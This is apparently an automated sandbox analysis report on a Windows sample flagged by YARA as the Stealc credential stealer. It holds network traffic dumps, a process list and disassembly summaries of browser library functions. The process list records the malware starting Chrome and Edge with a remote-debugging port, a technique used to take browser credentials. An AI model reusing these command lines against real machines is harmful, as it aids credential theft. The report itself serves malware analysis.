2024-12-24 13:03:26 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 44 65 38 38 2b 34 67 48 30 45 53 2b 4a 39 72 49 6b 79 51 6b 76 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: De88+4gH0ES+J9rIkyQkvg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49989	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 13:04:00 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 35 38 57 44 65 6d 56 4e 53 30 4b 32 33 45 7a 68 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 61 32 61 32 30 39 61 62 34 37 32 39 34 36 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 58WDemVNS0K23Ezh.1Context: da2a209ab4729460
2024-12-24 13:04:00 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 13:04:00 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 35 38 57 44 65 6d 56 4e 53 30 4b 32 33 45 7a 68 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 61 32 61 32 30 39 61 62 34 37 32 39 34 36 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 71 62 4f 39 58 63 35 57 58 37 37 38 35 61 6c 7a 58 63 32 76 71 35 52 2f 72 54 52 32 44 54 44 53 77 7a 52 46 34 58 51 73 73 75 30 4e 34 44 4f 79 4a 6a 4f 62 47 2b 35 65 6a 54 2f 2f 38 69 44 44 6f 61 6c 79 4c 76 58 51 38 4b 37 4b 73 5a 70 62 69 49 65 36 59 68 56 53 68 62 69 34 4c 43 52 41 50 65 4f 71 49 64 66 53 32 47 6a 79 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 58WDemVNS0K23Ezh.2Context: da2a209ab4729460<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASqbO9Xc5WX7785alzXc2vq5R/rTR2DTDSwzRF4XQssu0N4DOyJjObG+5ejT//8iDDoalyLvXQ8K7KsZpbiIe6YhVShbi4LCRAPeOqIdfS2Gjy
2024-12-24 13:04:00 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 35 38 57 44 65 6d 56 4e 53 30 4b 32 33 45 7a 68 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 61 32 61 32 30 39 61 62 34 37 32 39 34 36 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 58WDemVNS0K23Ezh.3Context: da2a209ab4729460<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 13:04:00 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 13:04:00 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 56 6e 6c 69 5a 70 6d 42 45 61 6a 6a 65 70 70 68 71 4d 2f 2b 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: LVnliZpmBEajjepphqM/+Q.0Payload parsing failed.

Target ID:	0
Start time:	08:01:57
Start date:	24/12/2024
Path:	C:\Users\user\Desktop\gYjK72gL17.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\gYjK72gL17.exe"
Imagebase:	0x1c0000
File size:	5'820'392 bytes
MD5 hash:	05DC698E49FCE4EFAE5872EB54F19767
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2607101722.0000000001527000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2605576671.00000000001EB000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2605632956.0000000000294000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:02:06
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:02:07
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2596 --field-trial-handle=2324,i,1475862429204762952,15165259420851730460,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:02:16
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:02:17
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2320,i,3391580961989094564,10660087592265685708,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:02:17
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:02:17
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2188,i,279746520434431833,257325066205650014,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9835A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CA0F688,00001000), ref: 6C9835D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9835E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9835FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C98363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C98369F
__aulldiv.LIBCMT ref: 6C9836E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C983773
EnterCriticalSection.KERNEL32(6CA0F688), ref: 6C98377E
LeaveCriticalSection.KERNEL32(6CA0F688), ref: 6C9837BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9837C4
EnterCriticalSection.KERNEL32(6CA0F688), ref: 6C9837CB
LeaveCriticalSection.KERNEL32(6CA0F688), ref: 6C983801
__aulldiv.LIBCMT ref: 6C983883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C983902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C983918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C98394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C9835DB
QPC, xrefs: 6C9838FC
GTC, xrefs: 6C983912
AuthcAMDenti, xrefs: 6C983946
GenuntelineI, xrefs: 6C983639

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2bf478601478124449b389652d782854fdd2d2f3e8cac22126586fb55ff9ad12
Instruction ID: 825b98a16288924cb0e5238361b59bdec40f464d18b0bad6ff34df1c8b2fbab2
Opcode Fuzzy Hash: 2bf478601478124449b389652d782854fdd2d2f3e8cac22126586fb55ff9ad12
Instruction Fuzzy Hash: DEB19F71B053429BDB0CDF28D84465AB7F9BB89788F04CA2DE899E3790D770D9038B95

Function 6C99C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C99C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C99C969
GetSystemInfo.KERNEL32(?), ref: 6C99C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C99C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C99C9E2

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0ec8f64d244a92cd4465c63b1fde088d12a88f2a4c6518004fe776d71459e970
Instruction ID: fb8d04474ec055a324054be73a71857b76dd01192603fa4929e4edc164820ef2
Opcode Fuzzy Hash: 0ec8f64d244a92cd4465c63b1fde088d12a88f2a4c6518004fe776d71459e970
Instruction Fuzzy Hash: DB21D7317413156BDB18AB64DC84BAE73BDEB4A788F54411EF943A7A80DB70DD02C794

Function 6C983060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C983095

Part of subcall function 6C9835A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CA0F688,00001000), ref: 6C9835D5
Part of subcall function 6C9835A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9835E0
Part of subcall function 6C9835A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9835FD
Part of subcall function 6C9835A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C98363F
Part of subcall function 6C9835A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C98369F
Part of subcall function 6C9835A0: __aulldiv.LIBCMT ref: 6C9836E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C98309F

Part of subcall function 6C9A5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9A56EE,?,00000001), ref: 6C9A5B85
Part of subcall function 6C9A5B50: EnterCriticalSection.KERNEL32(6CA0F688,?,?,?,6C9A56EE,?,00000001), ref: 6C9A5B90
Part of subcall function 6C9A5B50: LeaveCriticalSection.KERNEL32(6CA0F688,?,?,?,6C9A56EE,?,00000001), ref: 6C9A5BD8
Part of subcall function 6C9A5B50: GetTickCount64.KERNEL32 ref: 6C9A5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9830BE

Part of subcall function 6C9830F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C983127
Part of subcall function 6C9830F0: __aulldiv.LIBCMT ref: 6C983140

Part of subcall function 6C9BAB2A: __onexit.LIBCMT ref: 6C9BAB30

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 26595fa6835204de5b3b7b4495596030dc922f26403341d75b7f582d98518b53
Instruction ID: 09ceafce1371e1e2e52bbb8a1a726b38bc28704ff18d27434a7e0c0d68f547f7
Opcode Fuzzy Hash: 26595fa6835204de5b3b7b4495596030dc922f26403341d75b7f582d98518b53
Instruction Fuzzy Hash: 95F0D612F2078596CB14DF749C411E6B370AF7B258F10971DE84573551FB20A1DA8386

Non-executed Functions

Function 6C995440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C995492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9954A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9954BE
__Init_thread_footer.LIBCMT ref: 6C9954DB

Part of subcall function 6C9BAB3F: EnterCriticalSection.KERNEL32(6CA0E370,?,?,6C983527,6CA0F6CC,?,?,?,?,?,?,?,?,6C983284), ref: 6C9BAB49
Part of subcall function 6C9BAB3F: LeaveCriticalSection.KERNEL32(6CA0E370,?,6C983527,6CA0F6CC,?,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9BAB7C

Part of subcall function 6C9BCBE8: GetCurrentProcess.KERNEL32(?,6C9831A7), ref: 6C9BCBF1
Part of subcall function 6C9BCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9831A7), ref: 6C9BCBFA

GetCurrentThreadId.KERNEL32 ref: 6C9954F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C995516
GetCurrentThreadId.KERNEL32 ref: 6C99556A
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C995577
moz_xmalloc.MOZGLUE(00000070), ref: 6C995585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C995590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9955E6
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C995606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C995616

Part of subcall function 6C9BAB89: EnterCriticalSection.KERNEL32(6CA0E370,?,?,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284), ref: 6C9BAB94
Part of subcall function 6C9BAB89: LeaveCriticalSection.KERNEL32(6CA0E370,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9BABD1

GetCurrentThreadId.KERNEL32 ref: 6C99563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C995646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C99567C
free.MOZGLUE(?), ref: 6C9956AE

Part of subcall function 6C9A5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9A5EDB
Part of subcall function 6C9A5E90: memset.VCRUNTIME140(6C9E7765,000000E5,55CCCCCC), ref: 6C9A5F27
Part of subcall function 6C9A5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9A5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9956E8
GetCurrentThreadId.KERNEL32 ref: 6C995707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C99570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C995729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C99574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C99576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C995796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9957B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9957CA

Strings

GeckoMain, xrefs: 6C995554, 6C9955D5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C995D01
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C99548D
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C995724
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9954B9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C995766
MOZ_BASE_PROFILER_HELP, xrefs: 6C995511
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9957AE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C995749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C995AC9
MOZ_PROFILER_STARTUP, xrefs: 6C9955E1
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9954A3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C995C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C995D1C
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C995CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C995B38
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9957C5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C995D2B
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C995717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C99584E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C995791
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C995D24
[I %d/%d] profiler_init, xrefs: 6C99564E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9956E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C995BBE

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 100914e4dee55610bf018b299e6e41798806aa9394fa9ce2afe0b534783909a1
Instruction ID: 8f7ff6ab2ca9f4a826e88dec44cc67fb1e21aae5ed5f022c6f210a6657ecc3e2
Opcode Fuzzy Hash: 100914e4dee55610bf018b299e6e41798806aa9394fa9ce2afe0b534783909a1
Instruction Fuzzy Hash: 9E22E171B043019FEB009F64984466B77B8BF5638EF18862DE94697A41EB35C84ACB63

Function 6C9CB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9CB845
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8,?,?,00000000), ref: 6C9CB852
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CB884
InitializeConditionVariable.KERNEL32(?), ref: 6C9CB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C9CB9FD
GetCurrentThreadId.KERNEL32 ref: 6C9CBA05
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8,?,?,00000000), ref: 6C9CBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C9CBA27
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CBA4B
free.MOZGLUE(?), ref: 6C9CC9C7
free.MOZGLUE(?), ref: 6C9CC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C9CC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C9CC7DA

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

